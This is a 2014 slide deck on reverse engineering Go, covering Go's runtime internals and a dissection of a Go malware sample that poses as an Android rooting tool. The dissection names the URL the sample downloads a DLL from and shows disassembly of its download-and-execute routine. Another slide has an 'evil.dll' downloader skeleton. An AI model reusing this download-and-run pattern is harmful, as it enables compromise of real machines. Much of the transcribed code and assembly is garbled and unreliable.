RE( :) go

Golden G. Richard III
University of New Orleans and Arcane Alloy, LLC

golden@cs.uno.edu
golden@arcanealloy.com

http://www.cs.uno.edu/~golden
http://www.arcanealloy.com

@nolaforensix
Who?

Professor of Computer Science and University Research Professor, Director, GNOCIA, University of New Orleans
http://www.cs.uno.edu/~golden
Digital forensics, OS internals, reverse engineering, offensive computing, pushing students to the brink of destruction, et al.

Founder, Arcane Alloy, LLC.
http://www.arcanealloy.com
Digital forensics, reverse engineering, malware analysis, security research, tool development, training.

Co-Founder, Partner / Photographer, High ISO Music, LLC.
http://www.highisomusic.com
Rock stars. Heavy Metal. Earplugs.
I’m the technical editor on this wonderful book...that means...

“Future research and it’s Michael, Andrew, Jamie, and AAron’s fault that it’s future research”
Reverse Engineering (RE)

• RE Goal
  – Deep understanding of executable code structure and functionality

• Why?
  – Analysis of malware
  – Pure curiosity
  – Creation of interoperable software
  – Differential analysis
    • How do software versions differ?
  – Patch verification
    • What does the patch really do?
    • Does it introduce new vulnerabilities?
  – Removal of copy protection / DRM

© 2014 by Golden G. Richard III (@nolaforensix)

Impediments to Learning RE

• It’s hard (and getting harder)
• Vanishing prerequisite knowledge
• Languages
• Compilers / Code generation
• Operating systems internals
• Deep assembler knowledge
  – When learning RE, you may not have it
  – When teaching RE, unlikely that students have it
  – Most books and academic courses on assembler: FAIL
Vanishing (2)

• Nuances of hardware platforms
  – Virtual memory system
  – Instruction decoding / pipelining
  – Debugging architecture
  – Virtualization architecture
  – ...

• Deep OS Internals knowledge
  – Requires serious study, beyond typical exposure in OS I
  – Particularly important for understanding kernel attacks
WHEN SCOTTY TEACHES REVERSE ENGINEERING:

AAAACH CAPTAIN!
THE STUDENTS, THEY CAHN’T TAKE MUCH MORE! AH CAHN GIVE YE A WALKTHROUGH AND A WEE BIT MORE, BUT I CANNO’ GUARANTEE HOW MUCH LONGER THEY’LL LAST!

Drawing by Frank Adelstein, by request
Not so different when Scotty tries to learn or keep up with RE...

C     C++     Linux
ASM   VB     Mac OS
ARM   Javascript
PHP   Delphi
Linux
Win95/98/ME/NT/2000/XP/
Vista/7/8

“How can I learn RE w/o really working hard at all?”

Scotty is disappointed in you. Fail.
TIOBE Programming Community Index (TPCI)

- Tracks popularity of programming languages
- Based on search engine statistics
- Who knows if it’s completely accurate
- It looks close (to me)
- [http://www.tiobe.com/index.php/content/paperinfo/tpci/tpci_definition.htm](http://www.tiobe.com/index.php/content/paperinfo/tpci/tpci_definition.htm) for how it’s calculated
- Not all of this stuff is relevant to RE, but provides a pulse of what you **might** see
- Plus, find languages that don’t suck for your own use!
<table>
<thead>
<tr>
<th>May 2014</th>
<th>May 2013</th>
<th>Change</th>
<th>Programming Language</th>
<th>Ratings</th>
<th>Change</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>1</td>
<td></td>
<td>C</td>
<td>16.926%</td>
<td>-1.80%</td>
</tr>
<tr>
<td>2</td>
<td>2</td>
<td></td>
<td>Java</td>
<td>16.907%</td>
<td>-0.01%</td>
</tr>
<tr>
<td>3</td>
<td>3</td>
<td></td>
<td>Objective-C</td>
<td>11.791%</td>
<td>+1.36%</td>
</tr>
<tr>
<td>4</td>
<td>4</td>
<td></td>
<td>C++</td>
<td>5.986%</td>
<td>-3.21%</td>
</tr>
<tr>
<td>5</td>
<td>7</td>
<td>↑</td>
<td>(Visual) Basic</td>
<td>4.197%</td>
<td>-0.46%</td>
</tr>
<tr>
<td>6</td>
<td>5</td>
<td>↓</td>
<td>C#</td>
<td>3.745%</td>
<td>-2.37%</td>
</tr>
<tr>
<td>7</td>
<td>6</td>
<td>↓</td>
<td>PHP</td>
<td>3.386%</td>
<td>-2.40%</td>
</tr>
<tr>
<td>8</td>
<td>8</td>
<td></td>
<td>Python</td>
<td>3.057%</td>
<td>-1.26%</td>
</tr>
<tr>
<td>9</td>
<td>11</td>
<td>↑</td>
<td>JavaScript</td>
<td>1.788%</td>
<td>+0.25%</td>
</tr>
<tr>
<td>10</td>
<td>9</td>
<td>↓</td>
<td>Perl</td>
<td>1.470%</td>
<td>-0.81%</td>
</tr>
<tr>
<td>11</td>
<td>12</td>
<td>↑</td>
<td>Visual Basic .NET</td>
<td>1.264%</td>
<td>+0.13%</td>
</tr>
<tr>
<td>12</td>
<td>10</td>
<td>↓</td>
<td>Ruby</td>
<td>1.242%</td>
<td>-0.43%</td>
</tr>
<tr>
<td>13</td>
<td>38</td>
<td>↑</td>
<td>F#</td>
<td>1.030%</td>
<td>+0.79%</td>
</tr>
<tr>
<td>14</td>
<td>14</td>
<td></td>
<td>Transact-SQL</td>
<td>1.025%</td>
<td>+0.21%</td>
</tr>
<tr>
<td>15</td>
<td>17</td>
<td>↑</td>
<td>Delphi/Object Pascal</td>
<td>0.974%</td>
<td>+0.24%</td>
</tr>
<tr>
<td>16</td>
<td>13</td>
<td>↓</td>
<td>Lisp</td>
<td>0.967%</td>
<td>+0.07%</td>
</tr>
<tr>
<td>17</td>
<td>19</td>
<td>↑</td>
<td>Assembly</td>
<td>0.773%</td>
<td>+0.14%</td>
</tr>
<tr>
<td>18</td>
<td>15</td>
<td>↓</td>
<td>Pascal</td>
<td>0.752%</td>
<td>-0.05%</td>
</tr>
<tr>
<td>19</td>
<td>21</td>
<td>↑</td>
<td>MATLAB</td>
<td>0.711%</td>
<td>+0.12%</td>
</tr>
<tr>
<td>20</td>
<td>42</td>
<td>↑</td>
<td>ActionScript</td>
<td>0.674%</td>
<td>+0.47%</td>
</tr>
<tr>
<td>Position</td>
<td>Programming Language</td>
<td>Ratings</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------</td>
<td>----------------------</td>
<td>---------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>21</td>
<td>ML</td>
<td>0.660</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>22</td>
<td>PL/SQL</td>
<td>0.641</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>23</td>
<td>Logo</td>
<td>0.637</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>24</td>
<td>OpenEdge ABL</td>
<td>0.622</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>25</td>
<td>PostScript</td>
<td>0.596</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>26</td>
<td>D</td>
<td>0.593</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>27</td>
<td>COBOL</td>
<td>0.589</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>28</td>
<td>SAS</td>
<td>0.521</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>29</td>
<td>cT</td>
<td>0.442</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>30</td>
<td>Ada</td>
<td>0.438</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>Go</td>
<td>0.423</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>32</td>
<td>Fortran</td>
<td>0.419</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>33</td>
<td>R</td>
<td>0.383</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>34</td>
<td>Lua</td>
<td>0.355</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>35</td>
<td>Scala</td>
<td>0.331</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>36</td>
<td>PL/I</td>
<td>0.330</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>37</td>
<td>ABAP</td>
<td>0.320</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>38</td>
<td>Scratch</td>
<td>0.298</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>39</td>
<td>Z shell</td>
<td>0.292</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>40</td>
<td>Haskell</td>
<td>0.281</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Malware: Popular Languages

- C
- ASM
- Borland Delphi (Object Pascal)
- Visual Basic
- C++
- VBScript, Javascript, PHP, etc. where scripting is appropriate
  - e.g.,
    - http://intelcrawler.com/about/press07
Visual Basic: Why?

- Lots of programmers started out writing BASIC
- Machines don’t boot into BASIC anymore 😞
- Programmers fall right into VB, naturally
- Easy access to Windows APIs
- Familiar, and less brain damage than Haskell
- Plus, 11 year olds don’t use Haskell

— Other BASIC-like “variants”, e.g., AutoIt
  - http://www.autoitscript.com/site/autoit/
my program won't work.. You forgot the semicolon again!!!
Delphi: Why, Lord? Why?

- Turbo Pascal: Cheap, super fast compiler on MS-DOS
- “What I learned in school” + low-level hacking support
- Turbo Pascal → Borland Delphi → Embarcadero Delphi
- “If you want to talk to the Oracle, go to Delphi”
  — Borland Developer Danny Thorpe
- Compiler generates native code
- Rapid cross-compile
- Rapid development
- “Hey, I (still?) already know Pascal?”
- It just won’t die
- Awful to RE, although prob not chosen for that reason

http://authorstephanietomas.wordpress.com
More on Language Choices

- Most people write software in languages they already now
- School, dad, friend, Radio Shack, found a book...
- Lots of malware like this
  - VB, Delphi, etc.
  - Who actually *wants* to know these?
- Might (or might not) branch out to meet new needs
- Some people are language connoisseurs...
- For some problems, something more expressive, like Python
- But faster, native code, multithreading, can be important, too
- go offers a **bunch** of stuff that
asm / C

• Only a “special few” really want to do serious development in assembler
• Mostly, only for most performance-sensitive code
• Or malware
• C suitable for 99% of OS development and low-level stuff, but can be very painful
• It’s very fast
• Strings, functions, arrays, etc. are not first class objects
• Memory management really requires care
• I still like it, I’ve used it for 30+ years
• Not really expressive enough for rapid development of security tools, et al
• Lots of malware written in C, but as systems move to other languages, malware might too
If we’re honest...a lot of us use C because...
IMO, go is like this band—it isn’t “good” because everything else sucks, it’s just good.
We Have to Talk About Python

• This isn’t a “beat on Python” talk
• Volatility development in a language like C: FAIL
• Python very expressive—good fit for stuff like Volatility
• Portable, etc. etc.
• But Python has serious problems
• Whitespace (I will say no more, don’t throw things)
• Threading broken
• Performance is **seriously broken**
• Prototyping new stuff in Python, probably fine
• Please don’t write “high performance” tools in Python
• **go** might work in place of Python AND get used for malware development
while (next_tag < tags_area_end):
    tag = (tempTagsArray[next_tag / 4] & self.SINGLE_BYTE_MASKS[next_tag % 4]) >> ((next_tag) % 4) * 8

    if (tag == self.ZERO_TAG):
        dest_buf[next_output] = 0
    elif (tag == self.EXACT_TAG):
        dict_location = (tempQPosArray[next_qp / 4] & self.SINGLE_BYTE_MASKS[next_qp % 4]) >> ((next_qp) % 4) * 8
        next_qp += 1
        dest_buf[next_output] = dictionary[dict_location]

        # strip out low bits
        temp = (temp >> self.NUM_LOW_BITS) << self.NUM_LOW_BITS
        # add in stored low bits from temp array
        temp = temp | tempLowBitsArray[next_low_bits]
        next_low_bits += 1
    elif (tag == self.PARTIAL_TAG):
        dict_location = (tempQPosArray[next_qp / 4] & self.SINGLE_BYTE_MASKS[next_qp % 4]) >> ((next_qp) % 4) * 8
        temp = dictionary[dict_location]
        # print "BAD TAG!!"
        return -1 # fail, buffer is corrupted
    else:
        self.MISS_TAG = 0
        missed_word = src_buf[next_full_word]
        next_full_word += 1
        dict_location = hashLookupTable[missed_word >> 10] & 0xFF / 4
        dictionary[dict_location] = missed_word
        dest_buf[next_output] = missed_word

next_tag += 1
WKdm Benchmarks

WKdm compression / decompression ops/sec

All on 3.4GHz i7 iMac w/ 32GB RAM

391 per sec


© 2014 by Golden G. Richard III (@nolaforensix)
go Design Philosophy

• Born out of frustration with existing systems languages
• Programming too difficult, languages to blame
• Efficient compilation
• Efficient execution,
• Ease of programming
• Go: ease of programming of an interpreted, dynamically typed language with the efficiency and safety of a statically typed, compiled language

Existing: Don’t pick more than 2

Adapted from: http://golang.org/doc/faq
go Philosophy (2)

• Modern support for networking
• Concurrency is the norm
• Sane communication between concurrent functions, based on Hoare’s CSP
• Multicore computing
• *Fast* compilation
• Seconds to build large applications
And?

- Still slower than C, but toolchain will improve
- No makefiles, no include files, sane build system
- Sane, C-like syntax
- Very expressive, fantastic library support
- Generates dependence-free statically linked executables
- Portable: Windows / Linux / Mac
- Doesn’t force object-oriented paradigm on you!
- **Very** smart people developing
  - Rob Pike! Ken Thompson! et al
In One Slide

• Basically, better C, plus:
  – Expressiveness
  – No more memory management madness
  – Better error handling
  – Some OO without the shackles
  – (Procedural programming isn’t a crime)
  – Easy multithreading that works

• Also:
  – Don’t succumb to “feature-it is” – spec fits in your brain
  – Easy to program
  – Easy interface to existing / new C code
  – Easy cross-compilation (except with C interface!)
  – Modern integration with package management, e.g., github

• For once, “marketing” is true—it is fun to program again!
• (Plus: It’s not C++)
go Toolchain

- **go build** something.go
  - No more makefiles
- **go run** something.go
  - Build and execute
- **go fmt** something.go
  - No more arguing about formatting
  - Feel free to type C-style ;’s, but this removes them
- **go get** something.org/user/coolproj
  - Download packages
- **go install** something.go
- ...
- These rely on the 5g, 6g, 8g, etc. compilers (next slide)
Toolchain (2)

- 5a is a version of the Plan 9 assembler.
- 5c is a version of the Plan 9 C compiler.
- 5g is the version of the gc compiler for the ARM.
- 5l is the linker for the ARM.

- 6a is a version of the Plan 9 assembler.
- 6c is a version of the Plan 9 C compiler.
- 6g is the version of the gc compiler for the x86-64.
- 6l is the linker for the **x86-64**.

- 8a is a version of the Plan 9 assembler.
- 8c is a version of the Plan 9 C compiler.
- 8g is the version of the gc compiler for the x86.
- 8l is the linker for the **32-bit x86**.
package main

import (
    "fmt"
    "net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hi there, I love %s!", r.URL.Path[1:])
}

func main() {
    http.HandleFunc("/", handler)
    http.ListenAndServe(":8080", nil)
}

Example: web stuff is absurdly easy...

Hi there, I love boudin!
package main
import "net/http"
import "io"
import "os"
import "fmt"

func main() {
    out, _ := os.Create("evil.dll")
    defer out.Close()
    resp, err :=
    if err != nil {
        fmt.Println("oops.")
    }
    defer resp.Body.Close()
    n, err := io.Copy(out, resp.Body) // automatically chunks file
    if err != nil {
        fmt.Println("oops.")
    } else {
        fmt.Printf("Wrote %d bytes\n", n)
    }
}
defer, goroutines, reflection

- Defer allows function calls to be delayed and stacked
- Processed in order when a function completes
- For easy cleanup, error handling
- `defer + panic + recover` chosen instead of exceptions
- Goroutines provide full concurrency support
- Trivial to implement multithreading
- Goroutines use CSP-like communication / synchronization
- Go is statically typed
- But reflection allows evaluation of types at run time

Original CSP paper from ~1978—MUST READ for every CS person: http://dl.acm.org/citation.cfm?id=359585

© 2014 by Golden G. Richard III (@nolaforesix)
func CopyFile(dstName, srcName string) (written int64, err error) {
    src, err := os.Open(srcName)
    if err != nil {
        return
    }
    dst, err := os.Create(dstName)
    if err != nil {
        return // oops
    }
    written, err = io.Copy(dst, src)
    dst.Close()
    src.Close()
    return
}
func CopyFile(dstName, srcName string) (written int64, err error) {
    src, err := os.Open(srcName)
    if err != nil {
        return
    }
    defer src.Close()
    dst, err := os.Create(dstName)
    if err != nil {
        return
    }
    defer dst.Close()
    return io.Copy(dst, src)
}
goroutines

• Designed to make concurrency easy to use
• Multiplexes independently executing functions onto a pool of threads
• When a goroutine blocks, run-time moves other goroutines on the same OS thread to a different, runnable thread
• Totally invisible
goroutines (2)

• Segmented stacks are used
• Stack grows and shrinks as necessary
• Small code block in each function checks stack space, calls `runtime_morestack` if needed
• Will allocate new stack, copy args, continue execution
• Copy args back after finish and free extra stack allocation
  
  ```
  runtime_morestack \rightarrow runtime_newstack \rightarrow runtime_memmove \rightarrow deferred runtime_lessstack
  ```
• Means: Each goroutine gets a few K of stack, more automatically allocated and freed
• Multiplexing + stack implementation means goroutines cost a few K
• Threads much more expensive (> 1MB each)

See: [http://dave.cheney.net/2013/06/02/why-is-a-goroutines-stack-infinite](http://dave.cheney.net/2013/06/02/why-is-a-goroutines-stack-infinite) for high level discussion
This is 32-bit Windows, fs:14h is available thread local storage
/
* Per-CPU declaration.
 *
* "extern register" is a special storage class implemented by 6c, 8c, etc.
* On the ARM, it is an actual register; elsewhere it is a slot in thread-
* local storage indexed by a segment register. See zasmhdr in
* src/cmd/dist/buildruntime.c for details, and be aware that the linker may
* make further OS-specific changes to the compiler's output. For example,
* 6l/linux rewrites 0(GS) as -16(FS).
 *
* Every C file linked into a Go program must include runtime.h so that the
* C compiler (6c, 8c, etc.) knows to avoid other uses of these dedicated
* registers. The Go compiler (6g, 8g, etc.) knows to avoid them.
*/

extern register G* g;
extern register M* m;  /usr/local/go/src/pkg/runtime/runtime.h
struct G {

    // stackguard0 can be set to StackPreempt as opposed to stackguard
    uintptr stackguard0; // cannot move - also known to linker, libmach, runtime/cgo
    uintptr stackbase;  // cannot move - also known to libmach, runtime/cgo

    int32 panicwrap;  // cannot move - also known to linker
    int32 selgen;     // valid sudog pointer
    Defer* defer;
    Panic* panic;
    Gobuf sched;
    uintptr syscallstack; // if status==Gsyscall, syscallstack = stackbase to use during gc
    uintptr syscallsp;  // if status==Gsyscall, syscallsp = sched.sp to use during gc
    uintptr syscallpc;  // if status==Gsyscall, syscallpc = sched.pc to use during gc
    uintptr syscallguard; // if status==Gsyscall, syscallguard = stackguard to use during gc
    uintptr stackguard; // same as stackguard0, but not set to StackPreempt
    uintptr stack0;
    uintptr stacksize;
    G* alllink;    // on all
    void* param;   // passed parameter on wakeup
    int16 status;
    int64 goid;
    int8* waitreason; // if status==Gwaiting
    G* schedlink;
    bool ispanic;
    bool issystem; // do not output in stack dump
    bool isbackground; // ignore in deadlock detector
    bool preempt;   // preemption signal, duplicates stackguard0 = StackPreempt
    int8 raceignore; // ignore race detection events
    M* m;          // for debuggers, but offset not hard-coded
    M* lockedm;
    int32 sig;
    int32 writenbuf;
    byte* writebuf;
    DeferChunk* dchunk;
    DeferChunk* dchunknext;
    uintptr sigcode0;
    uintptr sigcode1;
    uintptr sigpc;
    uintptr gopc;  // pc of go statement that created this goroutine
    uintptr racectx;
    uintptr end[];
};

/usr/local/go/src/pkg/runtime/runtime.h
struct M {
    G* g0; // goroutine with scheduling stack
    void* moreargp; // argument pointer for more stack
    Gobuf morebuf; // gobuf arg to morestack

    // Fields not known to debuggers.
    uint32 moreframesize; // size arguments to morestack
    void* moreargp; // argument pointer for more stack
    Gobuf morebuf; // gobuf arg to morestack
    // Fields not known to debuggers.
    #ifdef GOOS_windows
    void* thread; // thread handle
    WinCall wincall;
    #endif
    #ifdef GOOS_plan9
    int8* notesig;
    byte* errstr;
    #endif
    SEH* seh;
    uintptr end[];
}

// usr/local/go/src/pkg/runtime/runtime.h
static struct {
  char *goarch;
  char *goos;
  char *hdr;
} zasmhdr[] = {
  "386", "windows",
  "#define get_tls(r)  MOVL 0x14(FS), r\n"
  "#define  g(r)  0(r)\n"
  "#define  m(r)  4(r)\n"
},
  "386", "plan9",
  "// Plan 9 does not have per-process segment descriptors with\n"
  "// which to do thread-local storage. Instead, we will use a\n"
  "// fixed offset from the per-process TOS struct address for\n"
  "// the local storage. Since the process ID is contained in the\n"
  "// TOS struct, we specify an offset for that here as well.\n"
  "#define get_tls(r)  MOVL _tos(SB), r\n"
  "#define  g(r)  -8(r)\n"
  "#define  m(r)  -4(r)\n"
  "#define procid(r)  48(r)\n"
},
  "386", "linux",
  "// On Linux systems, what we call 0(GS) and 4(GS) for g and m\n"
...
But how easy is it to hack and drink beer at the same time?
package main

import "fmt"
import "time"

func drink_beer(c chan string, done chan bool) {
    quit := false
    for ! quit {
        msg := <-c
        if msg == "thirsty" {
            fmt.Println("Drinking beer.")
            c <- "yum"
        } else {
            quit = (msg == "quit")
        }
    }
    fmt.Println("Beer drinking over for today.")
    done <- true
}

func hack_hack_hack(c chan string, done chan bool) {
    for i := 0; i < 10; i++ {
        fmt.Println("Hacking...")
        fmt.Println("Hacking...")
        c <- "thirsty"
        msg := <-c
        fmt.Println(msg)
    }
    fmt.Println("Hacking over for today.")
    c <- "quit"
    done <- true
}

func main() {
    c := make(chan string)
    donebeering := make(chan bool)
    donehacking := make(chan bool)
    fmt.Println("Starting day.")
    go drink_beer(c, donebeering)
    go hack_hack_hack(c, donehacking)
    <-donebeering
    <-donehacking
    fmt.Println("ZZZZZZzzzzz...")
}
package main
import "fmt"
import "time"

func main() {
    c := make(chan string)
donebeering := make(chan bool)
donehacking := make(chan bool)
fmt.Println("Starting day.")
go drink_beer(c, donebeering)
go hack_hack_hack(c, donehacking)
<-donebeering
<-donehacking
fmt.Println("ZZZZZZZzzzzzz…")
}
func hack_hack_hack(c chan string, done chan bool) {
    for i := 0; i < 10; i++ {
        fmt.Println("Hacking...")
        fmt.Println("Hacking...")
        c <- "thirsty"
        msg := <-c
        fmt.Println(msg)
    }

    fmt.Println("Hacking over for today.")
    c <- "quit"
    done <- true
}
func drink_beer(c chan string, done chan bool) {
    quit := false
    for !quit {
        msg := <-c
        if msg == "thirsty" {
            fmt.Println("Drinking beer.")
            c <- "yum"
        } else {
            quit = (msg == "quit")
        }
    }
    fmt.Println("Beer drinking over for today.")
    done <- true
}
go RE “Complications”

• Complex runtime
• Concurrency is the norm
• goroutines / communication via channels
• First class arrays, strings, etc.
• Completely different calling convention
  – Stack madness
  – Multiple return values
• Segmented stacks
• defer / panic / recover
  – Dynamic control flow
• ...

© 2014 by Golden G. Richard III (@nolaforensix)
func main() {
    var examples = []string{
        "1 2 3 4 5",
        "100 50 25 12.5 6.25",
        "2 + 2 = 4",
        "1st class",
        """,
    }

    for _, ex := range examples {
        fmt.Printf("Parsing %q:
            
            ", ex)
        nums, err := Parse(ex)
        if err != nil {
            fmt.Println(err)
            continue
        }
        fmt.Println(nums)
    }
}

Example adapted from: https://code.google.com/p/go-wiki/wiki/PanicAndRecover
// Parse parses the space-separated words in input as integers.
func Parse(input string) (numbers []int, err error) {
    defer func() {
        if r := recover(); r != nil {
            var ok bool
            err, ok = r.(error)
            if !ok {
                err = fmt.Errorf("pkg: %v", r)
            }
        }
    }()

    fields := strings.Fields(input)
    numbers = fields2numbers(fields)
    return
}

Disassemble on your own and have a look
func fields2numbers(fields []string) (numbers []int) {
    if len(fields) == 0 {
        panic("no words to parse")
    }
    for idx, field := range fields {
        num, err := strconv.Atoi(field)
        if err != nil {
            panic(&ParseError{idx, field, err})
        }
        numbers = append(numbers, num)
    }
    return
}
// A ParseError indicates an error in converting a word into an integer.
type ParseError struct {
    Index int    // The index into the space-separated list of words.
    Word string  // The word that generated the parse error.
    Error error   // The raw error that precipitated this error, if any.
}

// String returns a human-readable error message.
func (e *ParseError) String() string {
    return fmt.Sprintf("pkg: error parsing %q as int", e.Word)
}
RE go (not RE:)

• Some prerequisites
• IDA 6.5 has issues
• DWARF segment overwrites code in the __TEXT segment on load, results in trashed disassembly
• IDA folks jumped on this quickly when reported and emailed me a fix
• otool, et al worked (and work) fine on Mac OS X
go Malware

• Not much of it yet?
• .NET application posing as Android rooting tool that drops (2) go executables:
  – ppsap.exe
  – adbtool.exe
• We’ll look at the adbtool.exe in a little detail
• Nothing published on internals before—that web link just notes behavior
• But first...
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buf[50], *suffix;
    gets(buf);
    suffix=(strstr(buf,'.'));
    if (suffix) {
        if (!strcmp(suffix,".c")) {
            printf(".c\n");
        } else if (!strcmp(suffix,".php")) {
            printf(".php\n");
        } else if (!strcmp(suffix,".doc")) {
            printf(".doc\n");
        } else if (!strcmp(suffix,".xls")) {
            printf(".xls\n");
        }
    } else {
        printf("C got nothing for ya.\n");
    }
}
C

.text:0040136A       mov     [esp+78h+Val], offset a_php ; "\n.php"
.text:00401372       mov     eax, [ebp+Str1]
.text:00401375       mov     [esp+78h+Buffer], eax ; Str1
.text:00401378       call    __strcmp
.text:0040137D       test    eax, eax
.text:0040137F       jnz     short loc_40138F
.text:00401381       mov     [esp+78h+Buffer], offset a_php_0 ; "\n.php\n"
.text:00401388       call    _printf
.text:0040138D       jmp     short locret_4013E5
.text:0040138F
.text:0040138F       loc_40138F:       ; CODE XREF: __main+8F`j
.text:0040138F       mov     [esp+78h+Val], offset a_doc ; "\n.doc"
.text:00401397       mov     eax, [ebp+Str1]
.text:0040139A       mov     [esp+78h+Buffer], eax ; Str1
.text:0040139D       call    __strcmp
.text:004013AD       test    eax, eax
.text:0040139F       jnz     short loc_4013B4
.text:004013A6       mov     [esp+78h+Buffer], offset a_doc_0 ; "\n.doc\n"
.text:004013AD       call    _printf
.text:004013B2       jmp     short locret_4013E5
.text:004013B4
.text:004013B4       loc_4013B4:       ; CODE XREF: __main+B4`j
.text:004013B4       mov     [esp+78h+Val], offset a_xls ; "\n.xls"
.text:004013BC       mov     eax, [ebp+Str1]
.text:004013BF       mov     [esp+78h+Buffer], eax ; Str1
.text:004013C2       call    __strcmp
.text:004013C7       test    eax, eax
.text:004013C9       jnz     short locret_4013E5
.text:004013CB       mov     [esp+78h+Buffer], offset a_xls_0 ; "\n.xls\n"
.text:004013D2       call    _printf
.text:004013D7       jmp     short locret_4013E5
.text:004013D9

© 2014 by Golden G. Richard III (@nolaforensix)
package main
import "strings"
import "fmt"
func main() {
    var buf string
    fmt.Scanf("%s", &buf)
    if (strings.HasSuffix(buf, ".c")) {
        fmt.Println(".c");
    } else if (strings.HasSuffix(buf, ".php")) {
        fmt.Println(".php")
    } else if (strings.HasSuffix(buf, ".doc")) {
        fmt.Println(".doc")
    } else if (strings.HasSuffix(buf, ".xls")) {
        fmt.Println(".xls")
    } else {
        fmt.Println("Go got nothing for ya.");
    }
}
// HasSuffix tests whether the string s ends with suffix.
func HasSuffix(s, suffix string) bool {
    return len(s) >= len(suffix) && s[len(s)-len(suffix):] == suffix
}
Lots of Detail About Environment in go Executable
Post RE: adbtool Overview

• Doesn’t really do any Android stuff (surprise!)
• Uses goroutines (hurray!)
• Uses deferred functions (hurray!)
• Uses channels for communication (hurray!)
• Uses enough standard lib stuff to be a good place to start understanding go RE
• Tries to download and execute Windows DLL
  – Written in C (boring) from http://sourceslang.iwebs.ws/downs/zdx.tgz
• Outputs misspelled Dalvik-y msg, etc.
... ; void main_main()

main_main

loc_401BC6:

sub esp, 28h
mov [esp+28h+var_28.str], offset off_4F6900
mov [esp+28h+var_28.1en], 0
mov [esp+28h+var_20], 0
call runtime_makechan
mov edx, [esp+28h+var_1C]
mov ebx, edx
mov [esp+28h+var_14], edx
mov [esp+28h+var_28.str], edx
push offset runtime_closechan
push 4
call runtime_deferproc
pop ecx
pop ecx
test eax, eax
jnz loc_401C9C
mov ebx, [esp+28h+var_14]
mov [esp+28h+var_28.str], ebx
push offset main_zCopyFile
push 4
call runtime_newproc
pop ecx
pop ecx
mov [esp+28h+var_28.str], offset off_4F6900
mov ebx, [esp+28h+var_14]
mov [esp+28h+var_28.1en], ebx
call runtime_chanrecv1
lea ebx, [esp+28h+var_20]
mov esi, ebx
lea edi, [esp+28h+var_8]
clsd
movsd
movsd
lea esi, [esp+28h+var_8]
lea edi, [esp+28h+var_10]
clsd

© 2014 by Golden G. Richard III (@nolaforensix)
main_main()
main_main()

Error or not...oops.

.loc_401C8D:
  lea     esi, [esp+28h+var_10]
  lea     edi, [esp+28h+var_28]
  cld
  movsd
  movsd
  call    main_callDll

.loc_401C9C:
  call    runtime_deferreturn
  add     esp, 28h
  retn
  endp

main_main
main_zCopyFile()

http://sourceslang.iwebs.ws/downs/zdx.tgz

"\SGRTpgk2.tar.bz2"
movsd  call  main_DownFromServer
mov   [esp+84h+url.str], 540BE400h ; src
mov   [esp+84h+url.len], 2
call  time_Sleep
lea   esi, [esp+84h+var_58]
lea   edi, [esp+84h+url]
clcd
movsd
movsd
lea   esi, [esp+84h+var_40]
lea   edi, [esp+84h+var_7C]
clcd
movsd
movsd
call  main_MashFile
mov   [esp+84h+url.str], 540BE400h
mov   [esp+84h+url.len], 2
call  time_Sleep
lea   esi, [esp+84h+var_40]
lea   edi, [esp+84h+url]
clcd
movsd  call  main_RandString
lea   ebx, [esp+84h+url]
mov   esi, ebx
lea   edi, [esp+84h+var_18]
clcd
movsd
movsd

main_zCopyFile()
main_zCopyFile()
I’m a computer scientist, Jim, not a linguist.

Or dark, secret, hidden?

<table>
<thead>
<tr>
<th>Character</th>
<th>Tot Str Rad / Str</th>
<th>Mandarin P registrazione</th>
<th>Unihan Definition standalone and in compounds</th>
<th>Jyutping Cantonese</th>
<th>Variant Four corner Cangjie</th>
</tr>
</thead>
<tbody>
<tr>
<td>銨</td>
<td>14画 金鉲 + 6</td>
<td>ăng, ān</td>
<td>ammonium</td>
<td>ngon1, on1</td>
<td>8314.4 CJV</td>
</tr>
<tr>
<td>鎧</td>
<td>18画 金鉲 + 10</td>
<td>xì</td>
<td></td>
<td>8811.7 COND</td>
<td></td>
</tr>
</tbody>
</table>

Lots of meanings?
main_zCopyFile() sends random name created for DLL

main_CopyFile failure results in sending “wrong”
main_DownFromServer()
These days, results in a crash, because that DLL is no longer being served.
C:\">\adbtool.exe
dalvik is loading, please wait
processing
panic: Failed to load C:\DOCUME~1\Golden\LOCALS~1\Temp\80667880868365.~1@#$%&.8
é&òÁÁ: %1 is not a valid Win32 application.

goroutine 1 [running]:
syscall.(*LazyProc).mustFind(0x10fed580, 0x40cd59)
C:\Users\ADMINI~1\AppData\Local\Temp\2\bindist308287094\go\src\pkg\syscall\dll\ windows.go:234 +0x6b
syscall.(*LazyProc).Call(0x10fed580, 0x0, 0x0, 0x0, 0x0, 0x30f47d4, ...)
C:\Users\ADMINI~1\AppData\Local\Temp\2\bindist308287094\go\src\pkg\syscall\dll\windows.go:247 +0x32
main.callD11(0x10fb5380, 0x3f)
D:\/lotus/code/go/src/ZendAgent/main.go:129 +0xfe
main.main()
D:\/lotus/code/go/src/ZendAgent/main.go:182 +0xec

